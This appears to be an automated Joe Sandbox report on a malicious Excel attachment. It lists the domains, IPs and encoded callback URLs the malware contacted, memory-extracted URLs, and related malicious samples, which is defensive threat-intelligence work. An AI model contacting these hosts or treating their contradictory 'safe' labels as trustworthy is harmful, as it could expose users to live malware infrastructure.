www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

www.quallateematerial.com/67d/?
cDK=IAj2p4O1jtMDA38vgzfl4HFMdfHNof0Kad5Noufyf5YlrFTK7f2GvawlXOZGdPFW7uU/5g==&PBR=dp
ddZ

0% Avira URL Cloud safe

www.ozu.es/favicon.ico 0% Avira URL Cloud safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

Source Detection Scanner Label Link
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www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

topicalmemorysystem.googlecode.com/files/ 0% Avira URL Cloud safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

cgi.search.biglobe.ne.jp/ 0% Avira URL Cloud safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

p.zhongsou.com/favicon.ico 0% Avira URL Cloud safe

service2.bfast.com/ 0% URL Reputation safe

service2.bfast.com/ 0% URL Reputation safe

service2.bfast.com/ 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

ow.ly 54.67.62.204 true false high

www.priority1fleet.com 52.58.78.16 true true unknown

www.quallateematerial.com 216.239.32.21 true true unknown

msnsndstdyyemkemafgk.dns.army 180.214.238.131 true false unknown

hattonpalacejewellery.com 34.102.136.180 true true unknown

www.hattonpalacejewellery.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.quallateematerial.com/67d/?
cDK=IAj2p4O1jtMDA38vgzfl4HFMdfHNof0Kad5Noufyf5YlrFTK7f2GvawlXOZGdPFW7uU/5g=
=&PBR=dpddZ

true Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

search.chol.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.mercadolivre.com.br/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.merlin.com.pl/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.ebay.de/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.mtv.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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www.rambler.ru/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.nifty.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.dailymail.co.uk/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www3.fnac.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

buscar.ya.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.yahoo.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.iis.fhg.de/audioPA explorer.exe, 00000006.0000000
0.2170234716.0000000004B50000.
00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.sogou.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

asp.usatoday.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

fr.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

rover.ebay.com explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

in.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

img.shopzilla.com/shopzilla/shopzilla.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.ebay.in/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

image.excite.co.jp/jp/favicon/lep.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

%s.com explorer.exe, 00000006.0000000
0.2180147925.000000000A330000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

low

msk.afisha.ru/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

busca.igbusca.com.br//app/static/images/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.rediff.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.windows.com/pctv. explorer.exe, 00000006.0000000
0.2168635423.0000000003C40000.
00000002.00000001.sdmp

false high

www.ya.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.etmall.com.tw/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

it.search.dada.net/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.naver.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.google.ru/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.hanafos.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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cgi.search.biglobe.ne.jp/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

www.abril.com.br/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.daum.net/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.naver.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.msn.co.jp/results.aspx?q= explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.clarin.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

buscar.ozu.es/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

kr.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.about.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

busca.igbusca.com.br/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.microsofttranslator.com/BVPrev.aspx?
ref=IE8Activity

explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.ask.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.priceminister.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.cjmall.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.centrum.cz/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

suche.t-online.de/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.google.it/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.auction.co.kr/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.ceneo.pl/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.amazon.de/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
explorer.exe, 00000006.0000000
0.2176027933.00000000082FD000.
00000004.00000001.sdmp

false high

sads.myspace.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

busca.buscape.com.br/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.pchome.com.tw/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

browse.guardian.co.uk/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

google.pchome.com.tw/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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list.taobao.com/browse/search_visual.htm?n=15&q= explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.rambler.ru/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

uk.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

espanol.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.ozu.es/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

search.sify.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

openimage.interpark.com/interpark.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.yahoo.co.jp/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.ebay.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.gmarket.co.kr/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.nifty.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

searchresults.news.com.au/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.google.si/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.google.cz/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.soso.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.univision.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.ebay.it/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

images.joins.com/ui_c/fvc_joins.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.asharqalawsat.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

busca.orange.es/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

cnweb.search.live.com/results.aspx?q= explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

topicalmemorysystem.googlecode.com/files/ vbc.exe, vbc.exe, 00000005.000
00002.2192908833.0000000000D32
000.00000020.00020000.sdmp, ra
server.exe, 00000007.00000002.
2352947672.00000000003E0000.00
000004.00000001.sdmp, vbc.exe.2.dr

false Avira URL Cloud: safe unknown

auto.search.msn.com/response.asp?MT= explorer.exe, 00000006.0000000
0.2180147925.000000000A330000.
00000008.00000001.sdmp

false high

search.yahoo.co.jp explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.target.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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buscador.terra.es/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.orange.co.uk/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.iask.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.tesco.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

cgi.search.biglobe.ne.jp/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

search.seznam.cz/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

suche.freenet.de/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.interpark.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.ipop.co.kr/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

investor.msn.com/ explorer.exe, 00000006.0000000
0.2168635423.0000000003C40000.
00000002.00000001.sdmp

false high

www.blueletterbible.org/Bible.cfm?b= vbc.exe false high

search.espn.go.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

www.myspace.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

search.centrum.cz/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false high

p.zhongsou.com/favicon.ico explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

service2.bfast.com/ explorer.exe, 00000006.0000000
0.2180739534.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.%s.comPA explorer.exe, 00000006.0000000
0.2163666478.0000000001C70000.
00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

low

Name Source Malicious Antivirus Detection Reputation

Contacted IPs
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General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 356585

Start date: 23.02.2021

Start time: 11:33:12

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 10m 8s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: MT OCEAN STAR ISO 8217 2005.xlsx

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, 
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, 
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 9

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

52.58.78.16 unknown United States 16509 AMAZON-02US true

216.239.32.21 unknown United States 15169 GOOGLEUS true

34.102.136.180 unknown United States 15169 GOOGLEUS true

54.67.62.204 unknown United States 16509 AMAZON-02US false

180.214.238.131 unknown Viet Nam 135905 VNPT-AS-
VNVIETNAMPOSTSANDTE
LECOMMUNICATIONSGRO
UPVN

false

Public
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Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winXLSX@9/8@6/5

EGA Information: Failed

HDC Information: Successful, ratio: 38.4% (good quality ratio 36%)
Quality average: 74.9%
Quality standard deviation: 29.8%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.xlsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Warnings:
Exclude process from analysis (whitelisted): 
dllhost.exe, conhost.exe
TCP Packets have been reduced to 100
Report size exceeded maximum capacity and may 
have missing behavior information.
Report size getting too big, too many NtCreateFile 
calls found.
Report size getting too big, too many 
NtEnumerateValueKey calls found.
Report size getting too big, too many 
NtQueryAttributesFile calls found.

Time Type Description

11:34:00 API Interceptor 81x Sleep call for process: EQNEDT32.EXE modified

11:34:04 API Interceptor 132x Sleep call for process: vbc.exe modified

11:34:30 API Interceptor 222x Sleep call for process: raserver.exe modified

11:35:04 API Interceptor 1x Sleep call for process: explorer.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

52.58.78.16 RFQ.exe Get hash malicious Browse  www.skinc
olored.com
/md5/?idBX
UjVP=s4q+K
9SYeQAH/ol
1LHDCX3FOR
xxmw3fUJuD
Z6OIV0kEaH
/C8CzqjXw4
/MJNt0fJkr
NVLW2mfGw=
=&EBZ=ZVIt
dHbxztF0a

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/267195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267195/html/none?idtype=webid


PO_210222.exe Get hash malicious Browse  www.kavoc
eat.com/dka/?
9rYD4D2
P=kNKZtJG4
C0aY9HP7w9
7wJ4u7uzHR
FSUzm5XFzK
QLBd1otYR8
umKyIBVy6G
RWH7eF/fdY
&4h=vTxdAD
NprBU8ur

P.O-48452689535945.exe Get hash malicious Browse  www.ezcle
anhandle.c
om/h3qo/?-
ZAtX2=rVIH
h&LL04=Y9T
v1wBLRoSjo
rUAQG71A6N
YLbsedH7xa
XSNeZbowcZ
Dbac/AED0E
L0eZdrTUag
xHd+k

Purchase Enquiry.exe Get hash malicious Browse  www.ayint
apbaklava.
com/pep/?n
bm8EH=xPJt
ZrTpB&BrR=
T1uTaNYZth
1/h7345lZc
58P1enp99/
nBpPyK0Sna
NA2EkCY9g2
zIoZQewTpj
cj/wjQAko3
ttnw==

PO-3170012466.exe Get hash malicious Browse  www.lowvo
ltagemotor
.com/bbk4/?
h0DhlHu=h
jw9ajKnLhB
RyYq0E5ObK
jz6+YMlARz
oE0yk9CBtD
hyrx7Y0HCe
rgamMqJnCU
xxsO4V2&tX
i0=MXbP9

SecuriteInfo.com.generic.ml.exe Get hash malicious Browse  www.dopef
use.com/dyt/?
8ptHc=f
BkQ0asu9n+
rbaztckfM/
a1KQGA+UN+
iMLQp3uKlr
E8zNcFxtEY
TvgdZp/y21
LNqTj16&8p
KHz0=GXbXu
FxpBBiX

PO#4503527426.xlsx Get hash malicious Browse  www.germa
nystableco
in.com/j5an/?
3f=+GzZ
Z/uhbPpXSu
34WT3U+XC4
jl079xNw93
rZEKp+6D99
k4UqrdtNp8
Kv/bRRQXov
WGbA7A==&S
H=u2M0w8Cp

d6DdOfC2CX.exe Get hash malicious Browse  www.bingg
raesantori
ni.com/oean/?
a48=tXI
xBnA8MdXL_
&8pgPiXdx=
/Tb7qIo04u
GXBbtKj7Gh
2hKFZ23w4l
XxZLIRhmmQ
06FOFSjXGQ
etYF8HQ+YK
LQa/Tme5

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/267085/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267085/html/none?idtype=webid
https://view.joesandbox.com/analysis/266262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266262/html/none?idtype=webid
https://view.joesandbox.com/analysis/263864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263864/html/none?idtype=webid
https://view.joesandbox.com/analysis/262216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262216/html/none?idtype=webid
https://view.joesandbox.com/analysis/262037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262037/html/none?idtype=webid
https://view.joesandbox.com/analysis/261131/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261131/html/none?idtype=webid
https://view.joesandbox.com/analysis/261029/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261029/html/none?idtype=webid


Xi4vVgHekF.exe Get hash malicious Browse  www.meteo
rproductio
ns.com/rina/?
GFQL=TM
ZEQYG2Uswy
mKPfkD1Em/
7Trla8viGj
dzsJCfeDJe
e6NTj/BJ28
55vAN5avMS
7lbaiQ&wFN
0DX=UtX8E

3434355455453456789998765.exe Get hash malicious Browse  www.laser
pointer.info/mlc/?
YBZpb4BH=kzm
mjrQvnDn2U
d+hp3/83ZA
XixEPSsATZ
6hGskLvPEC
SEufenA0Pr
hHwF2Sbhi5
0C5bU&op=3
f5H00mHa

VESSEL SPECIFICATION.exe Get hash malicious Browse  www.svim.
net/thg/?VR-
Dt=3fMXA
LypyvP0hH5
0&YVMxBJOP
=r32lJIz8y
KvAioIGynZ
wNVes0n1in
EOdgAjT1Wr
uL4Zezn1lK
fVRDCDJuvg
I01HR7RxZ

FPZaxqP7uB.exe Get hash malicious Browse  www.puzui
e.com/hvu9/?
1bYx=mzr
hxBJ&uTuD=
JMIY/+470A
UV9isobBON
SlHuQ3cLIe
fQqaKlKODE
G/+g4WPGXg
ug4vBWc5IB
y6Ccw8++yL
+hag==

c8TrAKsz0T.exe Get hash malicious Browse  www.germa
nystableco
in.com/j5an/?
k2JdyL=
+GzZZ/ukbI
pTS+70UT3U
+XC4jl079x
Nw93zJYJ1/
+j98kJ4ssN
8B/4yt8+9t
L3ccZHOw&t
XR=NXeX2

6tivtkKtQx.exe Get hash malicious Browse  www.mysoo
ners.com/c8so/?
BZL0R
N=2YXJiTqZ
i68WJQIrbq
fAgGZld34e
oYuZo6K1ue
Rhfipzo1xr
PJ1eiN+05z
uIQSkimI0c
PBX47w==&3
fPHK=w8O8g
TXxNJq

Inquiry PR11020204168.xlsx Get hash malicious Browse  www.layal
iskincare.
com/eaud/?
jpAl=bByFH
+R/BhlWoSh
w8EyW95o99
Lsh63x8zBZ
Mnhv4irne1
VYETzjp+zB
gzEd00jC+6
fE+eg==&9r
9pbr=PFNt7
jWXNX8tCbd

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/261015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261015/html/none?idtype=webid
https://view.joesandbox.com/analysis/260894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260894/html/none?idtype=webid
https://view.joesandbox.com/analysis/260831/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260831/html/none?idtype=webid
https://view.joesandbox.com/analysis/259894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259894/html/none?idtype=webid
https://view.joesandbox.com/analysis/259385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259385/html/none?idtype=webid
https://view.joesandbox.com/analysis/259331/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259331/html/none?idtype=webid
https://view.joesandbox.com/analysis/256968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256968/html/none?idtype=webid


po071.exe Get hash malicious Browse  www.drago
nflyroad.c
om/bf3/?uF
Nl=XPAhirC
XgrU&kp7hE
dt=mvLvjMI
7vJfDX9zsI
YecWVJrLvz
uQvPoH/AGQ
q1WQWZy8Iz
+Bo3AXfM19
bLCyF+A2DO
bd2roWg==

dGWioTejLEz0eVM.exe Get hash malicious Browse  www.glide
disc.com/uszn/?
iBuls4=k8LDdvI0
9Zt0Zc58jk
Hhkvf6XKHU
9auQUPlrx5
RhYiqG6jEn
a57pwsRdo9
lN7TQKawVz
I1xrLQ==&_
RAd4r=ZL30
MH78FB1

RFQ_19-027-MP-010203 _ 19-028-MP-010203 _ 19-029-MP-
04.exe

Get hash malicious Browse  www.kings
heikh.com/cdl/?
BR=cj
rxU&Vz=dFJ
IMu55hFPO5
Llp6lk28Ar
0NuQ61q8qV
dUtlvhP16z
NpDSVN47re
2Q+GP3glID
WkHrQ

Request for Quotation.exe Get hash malicious Browse  www.houst
onlasertre
atment.com
/9t6k/?wR=
ZCRzbh+mV5
U9jV63l/eP
yvYN+FvSTS
wK5UsHcLfR
d9SkNZvXg9
7F8eocX5PP
bm4+ZEyk&S
0Gll=RRHTx
r6PgzuH1

Purchase order nr.0119-21.exe Get hash malicious Browse  www.pausm
am.com/n6sn/?
Ezu=UTC
hYH0pLxS4_
d1&Y4sX6bJ
P=3AnMkeGG
2tUq5yfyW6
XY4HZIQPS/
0XzehrQH6p
NoacETLQZf
VVzXjlG1MB
V8mhQKU3h/

216.239.32.21 Quote_13940007.exe Get hash malicious Browse  ifconfig.me/ip

SKBM 0222.exe Get hash malicious Browse  ifconfig.me/ip

crypted.exe Get hash malicious Browse  ifconfig.me/ip

002.docx Get hash malicious Browse  ipinfo.io
/84.17.52.
38/country

SKBM 0222..exe Get hash malicious Browse  ifconfig.me/ip

SecuriteInfo.com.Heur.11712.xls Get hash malicious Browse  myexterna
lip.com/raw

SecuriteInfo.com.Heur.20369.xls Get hash malicious Browse  ipinfo.io/ip

6anfy8I0II.exe Get hash malicious Browse  ipecho.net/plain

attach-581976319.xls Get hash malicious Browse  myexterna
lip.com/raw

SPECIFICATION.exe Get hash malicious Browse  ipecho.net/plain

attach-1587508589.xls Get hash malicious Browse  ipinfo.io/ip

attach-652257188.xls Get hash malicious Browse  ipecho.net/plain

Efo7RLFvtt.exe Get hash malicious Browse  ipecho.net/plain

QwLijaR9ex.exe Get hash malicious Browse  ipecho.net/plain

order_list_fe99087.xls Get hash malicious Browse  ipecho.net/plain

Mkq2f1T81k.exe Get hash malicious Browse  ipecho.net/plain

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/256901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256901/html/none?idtype=webid
https://view.joesandbox.com/analysis/256355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256355/html/none?idtype=webid
https://view.joesandbox.com/analysis/256215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256215/html/none?idtype=webid
https://view.joesandbox.com/analysis/256174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256174/html/none?idtype=webid
https://view.joesandbox.com/analysis/256084/html/none?idtype=webid#static
